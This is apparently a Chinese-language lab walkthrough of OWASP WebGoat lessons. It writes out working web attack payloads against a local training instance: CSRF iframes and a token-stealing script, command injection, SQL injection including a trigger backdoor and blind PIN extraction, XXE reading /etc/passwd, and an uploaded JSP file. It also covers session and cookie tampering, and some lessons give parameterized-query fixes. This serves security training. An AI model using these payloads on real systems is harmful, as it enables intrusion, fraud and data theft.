主題：本節課程將指導您如何實現跨站請求僞造攻擊（CSRF）。

原理：跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。以下代碼所示：

<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>

當受害者的瀏覽器試圖打開這個頁面時，它會使用指定的參數向www.mybank.com 的transferFunds.do 頁面發送請求。瀏覽器認爲將會獲得一個圖片，但其實是一種資金轉移功能。該請求將包括與網站相關的任何cookies。所以，若是用戶已經經過網站的身份驗證，並有一個永久的cookie，甚至是當前會話的cookie，網站將沒有辦法區分這是不是一個從合法用戶發出的請求。經過這種方法，攻擊者可讓受害者執行一些他們原本沒打算執行的操做，如註銷、採購項目或者這個脆弱的網站提供的任何其餘功能。

目標：

你的目標是向新聞組發送一封email。這個email包含一個image，其URL指向一個惡意請求。在這個課程中，URL應該指向「attack」servlet，其帶有課程「Screen」和「menu」參數，一個額外參數「"transferFunds」帶有任意數字值諸如5000。你能夠在右邊的參數插圖裏查找「Screen」和「menu」值來構造鏈接。CSRF郵件的收件人剛好在那個時候進行身份驗證，將轉移他們的資金。當這個課程的攻擊成功，一個綠色的複選框標記就出如今左邊菜單的課程名字旁邊。

在Title輸入：Cross Site Request Forgery Attack，在Message輸入：<img src="http://192.168.185.73:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />，點擊「Submit」，在Message List下出現一條提交的記錄，以下圖所示：

 

 點圖中的「Cross Site Request Forgery Attack」連接，使用代理攔截請求，在請求的參數裏添加&transferFunds=4000，提交請求，以下圖所示：

 

 

 

 

CSRF Prompt By-Pass（繞過CSRF確認）

主題：本節課程將指導您如何實現跨站請求僞造攻擊（CSRF），包括經過多個請求繞過用戶確認腳本命令。

原理：網頁中全部手動發起的請求操做，其實質是經過HTML+JavaScript 向服務器發起請求。

目標：

相似CSRF課程，你的目標是往新聞組發送一個郵件包含如下惡意請求：先轉帳，接着請求提示確認，URL指向CSRF課程的Screen和menu參數，還有額外參數「transferFunds=4000」和「transferFunds=CONFIRM」，你能夠從右邊複製課程參數來建立格式化的URL： "attack?Screen=XXX&menu=YYY&transferFunds=ZZZ"，不管誰收到這個郵件，剛好在那個時間進行身份驗證，將會轉移他們的資金，當你認爲此次攻擊成功,刷新頁面，你會發現左邊菜單上的綠色複選框。

在Title輸入：CSRF Prompt By-Pass Attack；在Message輸入： 

<iframe
    src="attack?Screen=280&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>，

以下圖所示：

 

 點擊消息連接：

 

 

 

 

 

CSRF Token By-Pass（繞過CSRF Token）

主題：本節課程將指導您如何在啓用CSRF Token 防禦的網站上發起跨站請求僞造攻擊（CSRF）。跨站請求僞造攻擊（CSRF/XSRF）欺騙用戶（那些已經獲取了系統的信任）點擊帶有僞造請求的頁面從而執行相關命令。基於 Token 的請求認證用於阻止此類攻擊者。該技術在請求發起頁面插入Token。Token用於完成請求和並驗證該操做不是經過腳本執行的。OWASP 提供的CSRFGuard 使用該技術以阻止CSRF 攻擊。

原理：網頁中全部手工發起的請求操做，其實質經過HTML+JavaScript 向服務器發起請求。

目標：

相似CSRF課程，你的目標是往新聞組發送一個轉移資金的惡意請求。爲了成功完成，你須要獲取一個有效的請求token。呈現資金轉移表單的頁面包含一個有效的請求token。轉移資金頁的URL是「attack」servlet，其帶有此課程的「Screen」和「menu」查詢參數，還有一個額外參數「transferFunds=main」。加載此頁面，讀取token，在僞造請求裏把token追加到transferFunds參數後面。當你認爲攻擊成功時，刷新頁面，你將會在左邊菜單發現一個綠色的複選框。

在Title輸入：CSRF Token By-Pass Attack
在Message輸入構造的代碼：<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
點擊Submit，而後在Message List裏點擊「CSRF Token By-Pass Attack」，

以下圖所示：

 

點擊消息連接：

 

 

 

 

HTTPOnly Test（HTTPOnly 測試）

主題：爲了下降跨站腳本攻擊的威脅，微軟引入了新的cookie 屬性字段：「HTTPOnly」。一旦該字段被標記，瀏覽器將禁止客戶端腳本訪問Cookie。因爲該屬性相對較新，有些瀏覽器還沒法正確處理這個屬性。

原理：無

目標：

爲了幫助減輕XSS威脅，微軟引入了一個新的cookie屬性命名「HttpOnly」。若是這個標誌被設置，那麼瀏覽器將不容許客戶端腳本訪問cookie。因爲此屬相相對較新，一些瀏覽器忽略正確地去處理這個新屬性。支持的瀏覽器列表請查看：http://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HTTPOnly
總目標
這節課程的目的是測試你的瀏覽器是否支持HTTPOnlyCookie標誌，注意「unique2u」Cookie的值。若是你的瀏覽器支持HTTPOnly標識，你開啓它，那麼客戶端代碼不該該讀和寫cookie，可是瀏覽器仍然向服務器傳輸cookie內容。也有一些瀏覽器僅阻止客戶端讀訪問，但沒阻止寫訪問。
課程方法
打開HTTPOnly，在瀏覽器地址欄裏輸入「"javascript:alert(document.cookie)」。注意除unique2u以外的cookie都被顯示出來。

 

 

 

Improper Error Handling（不當的錯誤處理）

Fail Open Authentication Scheme（失敗的認證方案）

主題：本節課程介紹了關於認證「沒法打開」的基本知識。用安全術語來說，「fail open」描述了一個驗證機制的行爲。這是一個驗證方法的驗證結果爲「true」時發生的錯誤（意外的異常）。在登陸過程當中，這是特別危險的。

原理：Java 代碼中異常處理部分爲成功認證行爲進行異常捕獲。該異常產生是由於密碼字段使用了空指針。

目標：

因爲認證機制裏的錯誤處理問題，做爲「webgoat」用戶進行認證不須要輸入密碼成爲可能。嘗試做爲webgoat用戶登陸而不須要指定密碼。
使用代理攔截請求，刪除密碼參數。以下圖所示：

 

 

 

Injection Flaws（注入缺陷）
Command Injection（命令注入）

主題：命令注入攻擊對任何一個以參數驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法，簡單易學，能形成大範圍的損害，危及系統安全。儘管這類風險數目使人難以置信，互聯網中的系統很容易受到這種形式的攻擊。

這種攻擊容易擴散，形成更壞的影響。可是對於這類威脅，一點常識和預先預防幾乎能夠徹底阻止。這節課將爲學員展現幾個參數注入的例子。

「清洗」全部輸入數據老是不錯的作法，尤爲是那些將被用於操做系統命令、腳本和數據庫查詢語句的數據。

原理：在正常的參數提交過程當中，添加惡意的代碼，每每可以獲得之外的收穫。

目標：
嘗試向操做系統注入一個命令。
使用代理攔截請求，在HelpFile後添加腳本：【BasicAuthentication.help;ipconfig" 】 或【BasicAuthentication.help;netstat -an"】（此處若是使用&代替「;」,則會把ipconfig或netstat 當作一個參數，具體緣由不詳），命令後的雙引號不能丟掉。

 

注：要實現上述功能，須要對源碼作一些修改，位置：org.owasp.webgoat.plugin.CommandInjection，其源碼對所能使用的腳本命令進行了限制，須要根據實際使用的操做系統進行修改，本人使用的是Windows操做系統，將List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -a", "ipconfig");修改成List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -an", "ipconfig");
將136行的fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");修改成fileData = exec(s, "cmd.exe /c type \"" + safeDir.getPath()+ "\"" + "&" + finalCom);，保存源文件，從新打包成jar文件。執行成功以下圖所示：

 

選擇幫助文件，點擊view：

 

代理攔截請求，修改HelpFile=的內容：

 查看到 /etc/passwd 內容：

 

 

Numeric SQL Injection（數字型SQL注入）

主題：SQL 注入攻擊對任何一個以數據庫做爲驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法，簡單易學，能形成大範圍的損害，危及系統安全。儘管這些風險數目使人難以置信，互聯網中的系統很容易受到這種形式的攻擊。這種攻擊容易擴散，形成更壞的影響，可是對於這類威脅，一點常識和預先預防幾乎能夠徹底阻止。這節課將爲學員展現幾個參數注入的例子。儘管SQL 注入威脅可能已經經過其它方式被攔截，但「清洗」全部輸入數據老是不錯的作法，尤爲是那些將被用於操做系統命令、腳本和數據庫查詢語句的數據。

原理：在station 字段中注入特徵字符，能組合成新的SQL 語句。

SELECT * FROM weather_data WHERE station = [station]

目標：

下述表單容許一個用戶查看天氣數據。嘗試注入SQL字符串，使得顯示全部的天氣數據。
使用代理攔截請求，將參數station=101修改成station=101 or 1 = 1，而後提交請求，以下圖所示：

 

 

 

 

Log Spoofing（日誌欺騙）

主題：障眼法

原理：這種攻擊是在日誌文件中愚弄人的眼睛，攻擊者能夠利用這種方式清除他們在日誌中的痕跡。

目標：

灰色區域表示Web服務器日誌上記錄的信息；
目標是使像admin這樣的用戶成功的登陸；
經過增長腳原本提高日誌文件的攻擊。
在用戶名輸入：「smith%0D%0ALogin Succeeded for username admin」，密碼隨便輸入，點擊Login，以下圖所示：

 

 

XPATH Injection

主題：本節課程將教會您如何實施XPath 注入攻擊。

原理：與SQL 注入相似，XPATH 注入發生在當網站使用用戶提供的信息查詢XML 數據時。經過向網站故意發送異常信息，攻擊者能夠發現XML 數據的結構或訪問那些原本沒法訪問到的數據。若是該XML 是一個用戶認證文件（例如一個基於XML 的用戶文件），攻擊者

還能借此提高本身在網站中的特權。使用XPATH 查詢XML，經過一個簡單的描述性語句類型，容許XML 查詢，找到一條信息。像SQL 同樣，您能夠指定找到的某些屬性與模式匹配。
          當一個網站中使用 XML，它是廣泛接受某種形式的輸入，查詢字符串，找到並將標識的內容顯示在頁面上。此類輸入必須進行清洗，以驗證它不會影響XPATH 的查詢，並返回錯誤數據。

目標：

下述表單容許員工查看包含薪水的全部他們的我的信息。你的帳號是Mike/test123。你的目標是嘗試查看其餘員工的數據。
一、    XPATH 注入相似於 SQL 注入。經過未驗證的輸入建立一個 XPATH 查詢。下面你能看到如何構建一個 XPATH 查詢。該頁面代碼以下：
String dir = LessonUtil.getLessonDirectory(s, this) + "/xml/" + "/EmployeesData.xml";
            File d = new File(dir);
            XPathFactory factory = XPathFactory.newInstance();
            XPath xPath = factory.newXPath();
            InputSource inputSource = new InputSource(new FileInputStream(d));
            String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
            nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

二、    在用戶名處注入 Smith' or 1=1 or 'a'='a，這將會顯示你登陸系統的第一個用戶。密碼是必須的字段，能夠任意輸入。

三、    如下是服務器獲取的：
expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='xxx']"

4.    如下是服務器解析後的結果：
expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='xxx' ) ]

 

 

 

String SQL Injection（字符串注入）

主題：SQL 注入攻擊對任何一個以數據庫做爲驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法，簡單易學，能形成大範圍的損害，危及系統安全。儘管這些風險數目使人難以置信，互聯網中的系統很容易受到這種形式的攻擊。這種攻擊容易擴散，形成更壞的影響，可是對於這類威脅，一點常識和預先預防幾乎能夠徹底阻止。這節課將爲學員展現幾個參數注入的例子。儘管SQL 注入威脅可能已經經過其它方式被攔截，但「清洗」全部輸入數據老是不錯的作法，尤爲是那些將被用於操做系統命令、腳本和數據庫查詢語句的數據。

原理：基於如下查詢語句構造本身的SQL 注入字符串。

SELECT * FROM user_data WHERE last_name = '?'

目標：

下述表單容許用戶瀏覽他們的信用卡號。嘗試注入SQL字符串以使的全部信用卡號被顯示。嘗試用用戶「Smith」。
在用戶名裏輸入：Smith' or '1' = '1，點擊查詢，以下所示：

 

 

LAB: SQL Injection

階段1：String SQL Injection

使用字符串SQL注入繞過認證。使用SQL注入以Boss（「Neville」）登陸而不須要正確的密碼。驗證Neville的簡介可被查看，全部其餘功能可用（包含查詢、建立和刪除）。
使用代理攔截請求，修改password=' or'1'='1，而後提交請求，以下圖所示：

 

 

 

 

 

階段2：Parameterized Query #1（修復方式：參數化查詢）
使用一個參數化查詢來阻止SQL注入
實施修復來阻止登陸頁字段的SQL注入問題。重複階段1。驗證攻擊再也不生效。
修改org.owasp.webgoat.plugin.sqlinjection.LoginSqlInjection.java的login方法，將String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";修改成String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
在try塊內增長以下代碼，同時註釋掉相關代碼：
Connection connection = WebSession.getConnection(s);
                PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
                ps.setString(1,userId);
                ps.setString(2,password);
                ResultSet answer_results = ps.executeQuery();
完成上述代碼後，打包，從新運行，使用OWASP ZAP攔截請求，修改password=' or'1'='1，而後提交請求，以下圖所示：

 

階段3：Numeric SQL Injection
繞過認證執行SQL注入。
做爲正常員工「Larry」，在查看功能（從員工列表頁）的參數裏使用SQL注入查看boss（「Neville」）的簡介。
使用代理攔截請求，將employee_id參數修改成：101 or 1=1 order by salary desc，以下圖所示：

 

 

 

 

 

 

 

 階段4：Parameterized Query #2 （修復方式：參數化查詢）
使用參數化查詢阻止SQL注入。
實施修復來阻止登陸頁字段的SQL注入問題。重複階段3。驗證攻擊再也不生效。
修改：org.owasp.webgoat.plugin.sqlinjection.ViewProfileSqlInjection.java
將String query = "SELECT employee.* "
                    + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
                    + "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
            修改成String query = "SELECT employee.* "
                    + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
                    + "ownership.employer_id = ? and ownership.employee_id = ?";
在try塊內增長，並註銷掉相關代碼：
Connection connection = WebSession.getConnection(s);
                PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
                ps.setString(1,userId);
                ps.setString(2,subjectUserId);
                ResultSet answer_results = ps.executeQuery();
以下圖所示：

 

Database Backdoors（數據庫後門）

主題：如何建立數據庫後門。

原理：數據庫一般做爲一個Web 應用程序的後端來使用。此外，它也用來做爲存儲的媒介。它也能夠被用來做爲存儲惡意活動的地方，如觸發器。觸發器是在數據庫管理系統上調用另外一個數據庫操做，如insert, select, update or delete。舉個例子：攻擊者能夠建立一個觸發器，該觸發器在建立新用戶時，將每一個新用戶的Email 地址設置爲攻擊者的地址。

 

階段1：使用字符串SQL注入執行多於一個SQL語句。此課程的第一階段是教你如何使用一個脆弱性字段去建立兩個SQL語句。第一個是系統的，第二個徹底是你的。你的帳戶ID是101。此頁容許你查看你的密碼、ssn和工資。嘗試注入另外一個更新去更新你的工資。
在User ID輸入框輸入：101;update employee set salary = 65000 where userid=101; ，點擊提交，以下圖所示：

 

 

階段2：使用SQL注入注入一個後門。課程的第二階段是教你如何利用SQL注入脆弱性字段注入DB work或後門。如今嘗試使用一樣的技術注入一個觸發器，其能夠做爲SQL後門，觸發器的語法是：CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid。
注意：因爲當前DB不支持觸發器，所以你什麼也執行不了。
在User ID裏輸入：101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
點擊提交，以下圖所示：

 

 

Blind Numeric SQL Injection（數字型盲注）

主題：SQL 注入攻擊對任何一個以數據庫做爲驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法，簡單易學，能形成大範圍的損害，危及系統安全。儘管這些風險數目使人難以置信，互聯網中的系統很容易受到這種形式的攻擊。

          這種攻擊容易擴散，形成更壞的影響，可是對於這類威脅，一點常識和預先預防幾乎能夠徹底阻止。這節課將爲學員展現幾個參數注入的例子。
          儘管SQL 注入威脅可能已經經過其它方式被攔截，但「清洗」全部輸入數據老是不錯的作法，尤爲是那些將被用於操做系統命令、腳本和數據庫查詢語句的數據。

原理：某些SQL 注入是沒有明確返回信息的，只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句，構造子查詢語句。

目標：

如下的表單容許一個用戶輸入一個帳號號碼，以決定其是否有效。使用這個表單在數據庫上開發一個true/false的測試檢查其餘實體。
課程目標是在pins表裏發現字段pin的值，其cc_number的值是11112222333334444，此字段類型是int，是一個觸發器。
把發現的pin值輸入表單傳遞給課程。
使用盲注進行爆破，在「Enter your Account Number」輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );，根據返回的提示來判斷「(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000」爲真或爲假，逐步縮小範圍，最後嘗試用2364進行請求，返回成功，而後把2364輸入表單，提交，以下圖所示：

 

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1250 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1875 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2187 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2343 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2421 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2382 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2363 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2372 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2368 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2366 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2365 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2364 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2363 );

肯定值爲2364

 

 

Blind String SQL Injection（字符串盲注）

如下的表單容許一個用戶輸入一個帳號號碼，以決定其是否有效。使用這個表單在數據庫上開發一個true/false的測試檢查其餘實體。
參考Ascii的值： 'A' = 65 'Z' = 90 'a' = 97 'z' = 122
課程目標是在pins表裏發現字段name的值，其cc_number的值是11112222333334444，此字段類型是varchar，是一個字符串。
把發現的name值輸入表單傳遞給課程。僅被發現的名字輸入表單字段，密切注意拼寫和大小寫。
使用盲注進行爆破，在「Enter your Account Number」輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'h' );，根據返回的提示來判斷name的範圍，直至返回成功，而後把Jill輸入表單，提交，以下圖所示：

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'h' );
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

 

 

Denial of Service（拒絕服務攻擊）

 

 

ZipBomb（壓縮包炸彈）

服務器僅接受ZIP文件，在上傳後進行解壓，使用文件作些事，而後刪除。提供了20MB的臨時存儲來控制全部嘗試去執行DOS攻擊的請求，這些攻擊使用一個請求消耗掉全部的臨時存儲。

主要思路是：突破2MB文件限制，上傳20MB的文件，經過查看源碼，你步驟是：一、判斷文件是否小於2MB；二、判斷是否zip文件；三、解壓zip文件，累加zip文件裏全部文件的size之和total，若是total大於20MB，則攻擊成功。所以能夠壓縮幾個word或者文本文件，這幾個word或者文本文件的和大於20MB，可是 壓縮成zip以後，其和小於2MB。

Denial of Service from Multiple Logins

主題：拒絕服務攻擊是Web 應用程序中的主要問題。若是最終用戶不能開展業務或執行由Web 應用程序所提供的服務，則是浪費時間和金錢。

原理：數據庫鏈接老是要佔用移動資源的；過分使用會影響系統性能。

目標：

站點容許用戶登陸屢次。站點有一個數據庫鏈接池容許兩個連接。你必須獲取有效用戶列表，建立3個登陸。

一、          使用SQL注入獲取有效用戶列表

在User Name裏隨便輸入用戶名，在Password裏輸入「' or 'a'='a」，以下圖所示：

 

 

 

 二、    使用不一樣的瀏覽器用上述用戶進行登陸，以下圖所示：

 

 

Insecure Communication（不安全的通信）

 

Insecure Login（不安全登陸）

主題：敏感數據不能用明文發送，一般在驗證後要切換到安全鏈接。攻擊者可經過嗅探得到的登陸信息和收集到的其餘信息入侵帳戶。一個好的Web 應用程序老是使用加密方式發送敏感數據。

原理：HTTP 數據包能夠被WireShark 等工具捕獲，直接明文讀取。使用 HTTPS 訪問後，全部數據被加密。服務器與應用程序經過傳輸層安全（TransportLayer Security （TLS））又稱爲安全套接字層（Secure Socket Layer (SSL)）。TLS 是一種混合的加密協議，一個主密鑰來創建通訊。這個密鑰使用的是SHA-1 或MD5。

目標：

此課程須要有一個服務器客戶端設置。請參考介紹章節的Tomcat配置。
階段1：在這個階段，你須要嗅探密碼。在登錄後回答問題。
使用代理攔截請求，獲取到密碼爲：sniffy，登錄後，在下述界面輸入sniffy，點擊提交，完成第一階段。

 

 

 

 

 

 

 

階段2：如今你須要改變安全連接。URL應該以https://開始。若是你的瀏覽器要求證書，請忽略它。再次嗅探流量和回答問題。
配置好服務器的https連接後，點擊登陸，使用代理攔截請求，什麼也獲取不到，在登陸成功界面以下圖所示，點擊提交。

生成Tomcat可使用的SSL證書，

 

自簽名證書，並導出公鑰證書文件：

 

修改Tomcat的配置文件server.xml

 

重啓Tomcat服務：

 

驗證是否可使用TLS加密進行連接通訊：

 

 

Insecure Storage（不安全存儲）

主題：在Web 應用程序中會根據不一樣的應用選擇不一樣的編碼方案。

原理：每個編碼方案都有與其相關的算法。

Encoding Basics（加密基礎）

本課程將使用戶熟悉不一樣的編碼方案

在輸入框輸入任意的字符串，如password，點擊「Go!」，以下所示：

Description	Encoded	Decoded
Base64編碼是一種簡單的可逆編碼，經常使用於把字節編碼成ASCII字符，用於使得字節成爲可打印的字符串，但不提供安全。	cGFzc3dvcmQ=	?,??
實體編碼使用特殊的序列如&做爲特殊字符，這樣能夠防止這些字符被大多數解釋器所解釋。	password	password
基於密碼的加密（PBE）是強大的文本密碼加密。沒有密碼沒法解密。	GHhYiKuAXCDKqVSzUBJyCg==	This is not an encrypted string
MD5哈希是一個能夠用來驗證一個字符串或字節數組的校驗和，具備不可逆性，沒法經過逆轉找到原始字符串或字節。爲了隱藏密碼的緣由，若是能夠選擇，最好使用SHA-256.	X03MO1qnZdYdgyfeuILPmQ==	Cannot reverse a hash
SHA-256哈希是一個校驗和,可用於驗證一個字符串或字節數組,但不能逆轉找到原始字符串或字節。	XohImNooBHFR0OVvjcYpJ3NgPQ1qq73WKhHvch0VQtg=	N/A
Unicode encoding is...	Not Implemented	Not Implemented
URL encoding is...	password	password
十六進制編碼簡單的把字節編碼成爲%XX格式。	%70%61%73%73%77%6F%72%64	String not comprised of Hex digit pairs.
ROT13是一種使文本不可讀的方法，可是它很容易被逆轉，且不提供安全。	cnffjbeq	cnffjbeq
XOR密碼編碼是一種脆弱的加密方案，它將密碼混合在數據中。	Nw4cERIdNQs=	?C??
Double unicode encoding is...	Not Implemented	Not Implemented
Double URL encoding is...	password	password

 

 

Malicious Execution（惡意執行）

Malicious File Execution（惡意文件執行）

主題：不少網站容許用戶上傳文件，例如：圖片或是視頻。 若是確實有效的安全措施，包含惡意指令的文件會被上傳到服務器並執行。

原理：腳本後門屬於典型的惡意文件。

目標：

下述表單容許你上傳一個圖像文件，此圖像將會顯示在頁面上。像這樣的特性一般出如今基於web的論壇和社交網站。這個特性是容易受到惡意文件執行。
爲了經過這個課程，上傳並運行一個惡意文件。

將如下內容保存爲hacker.jsp文件上傳：

<HTML>
<% java.io.File file = newjava.io.File("/opt/tomcat/apache-tomcat/webapps/webgoat/mfe_target/webgoat.txt"); file.createNewFile(); %>
</HTML>

 

訪問 http://192.168.185.73:8080/webgoat/uploads/hacker.jsp 執行腳本中的內容。

而後刷新該菜單項

 

Parameter Tampering（參數修改）

 

 

Bypass HTML Field Restrictions

主題：客戶端驗證不該該被認爲是一種安全的參數驗證方法。這種驗證方式只能幫那些不知道所需輸入的用戶縮短服務器處理時間。攻擊者能夠用各類方法輕易的繞過這種機制。任何客戶端驗證都應該複製到服務器端。這將大大減小不安全的參數在應用程序中使用的可能性。在這個練習中，每一個輸入框中有不一樣的輸入要求，您要作的就是繞過客戶端驗證機制破壞這些規則，輸入不容許輸入的字符。

原理：不少瀏覽器輔助工具都支持修改HTML或JavaScript 代碼，也支持手動提交HTTP 數據。

目標：

下述表單使用HTML表單字段限制。爲了經過這節課程，提交表單，每個字段包含一個不容許的值。你必須在一個表單提交中提交全部六個字段的無效值。
使用代理攔截請求，並修改全部參數的值。而後提價，以下圖所示：

 

去掉disabled屬性，將此表單啓用。

 

 

 

 

 

 

XML External Entity (XXE)

您正在尋找來自馬薩諸塞州波士頓的機票代碼BOS，以得到理想的假期。 嘗試搜索一張票。
嘗試在搜索表單中找到缺陷並列出操做系統的根目錄。

經過代理攔截請求，將POST的參數內容改成下面文本，以便達到查看系統文件的目的：

<?xml version="1.0"?>
<!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<searchForm> <from>&xxe;</from></searchForm>

 

 

 

 

 

 

 

Exploit Hidden Fields（利用隱藏的字段）

主題：開發人員在加載信息的頁面上使用隱藏字段來跟蹤、登陸、訂價等。雖然這是一種方便且易於開發的機制，他們每每不驗證從隱藏字段收到的信息。本課程中，咱們將瞭解如何找到和修改隱藏字段以便宜的價格購買產品。

原理：不一樣的HTTP 參數會觸發後端不一樣的業務邏輯。

若是你尚未這麼作，嘗試用更便宜的購買價格購買HDTV。
在頁面找到「<input name="Price" type="HIDDEN" value=" 2999.9">」，將value值修改成更小的值，點擊「UpdateCart」，以下圖所示：

 

 

Exploit Unchecked Email

主題：驗證全部的輸入信息老是不錯的作法。多數網站都容許一個非驗證的用戶給「朋友」發送e-mail。對垃圾郵件發送者來講，這是一個絕佳的機制，能夠利用公司的郵件服務器來發送電子郵件。

原理：不少網站對輸入數據的合法性未作驗證。

這個表單是一個客戶支持頁的例子。使用下述表單嘗試：
一、    向website管理員發送一個惡意腳本
在Question or Comments的輸入框輸入「<script>alert(document.cookie)</script>」，點擊「Send」，完成此任務。

 

 

二、    從OWSAP向「frient」發送一個惡意腳本
使用攔截請求，修改參數「to」的內容爲：webgoat.friend@owasp.org，點擊提交，完成此任務。

 

 

 

 

Bypass Client Side JavaScript Validation

站點執行客戶端和服務器端驗證。對於這個例子你的工做是破壞客戶端驗證，發送不指望的站點輸入。你必須同時破壞全部7個驗證。
查看頁面元素，將「<input type="BUTTON" onclick="validate();" value="Submit">」修改成「<input type=" Submit " value="Submit">」，點擊提交。

 

 

 

 

Session Management Flaws

Hijack a Session（會話劫持）

主題：開發人員在開發他們的自有會話ID 時常常忘記整合的複雜性和隨機性，這些因素對安全來講是必須的。若是用戶的特定的會話ID 不具有複雜和隨機性，那麼應用程序很容易受到基於會話的暴力攻擊的威脅。

原理：會話ID 通常由Session 生成，存儲在客戶端Cookie 的某個字段中。

目標：

應用開發者開發本身的會話ID時常常忘記包含安全所需的複雜性和隨機性。若是一個用戶的特定會話ID不復雜和隨機，那麼應用程序很容易遭受到基於會話的蠻力攻擊。
課程目標：
嘗試訪問其餘人的受權會話。

參考視頻：https://www.youtube.com/watch?v=FA5FjjV4L7Y

Cookie裏面的WEAKID這個參數是會話標識。咱們知道若是客戶端發送給Web服務器的請求裏面沒有會話標識的話，服務器會重新生成一個新的會話標識並經過Cookie返回給客戶端

一、    嘗試獲取會話ID
使用代理攔截請求，把Cookie裏的WEAKID清空，而後發送請求，直到界面顯示以下所示：

 

 
二、    發送獲取到的會話ID
使用代理攔截請求，把Cookie裏的WEAKID的值設置爲上圖中紅色顯示的值，而後發送請求，以下所示：

 
使用上述方法的緣由是：經過查看源碼，只有在WEAKID的值爲null時，纔會生成新的WEAKID，且在生成新的WEAKID時，使用了序列號模29爲0時才生成。
其WEAKID的組成爲」序列號」+」=」+」當前時間」

 

 

 

 發送到數據到定序器(Sequencer)

 

 

 

Spoof an Authentication Cookie（欺騙認證Cookie）

主題：若是驗證cookie 正確，一些應用程序會容許一個用戶自動登陸到他們的網站。若是可以得到生成cookie 的算法，有時cookie 的值是能夠猜到的。有時候cookie 多是經過跨站攻擊截獲的。在這一課中，咱們的目的是瞭解身份驗證cookie 的方式，並指導您學習突破

這種身份驗證cookie 的方法用戶應該能繞過認證檢查。使用webgoat/webgoat帳號登陸看發生了什麼。你也可使用aspect/aspect。當你理解了認證cookie，嘗試把你的標識更改成alice。

原理：Cookie 存儲在客戶端，可隨時被篡改用於特別用途。

一、    使用webgoat/webgoat登陸，而後點擊「Refresh」，使用代理攔截請求，獲取到 Cookie: JSESSIONID=F8D13612D534A6CB0C3449D76FDCD898; AuthCookie=65432ubphcfx;

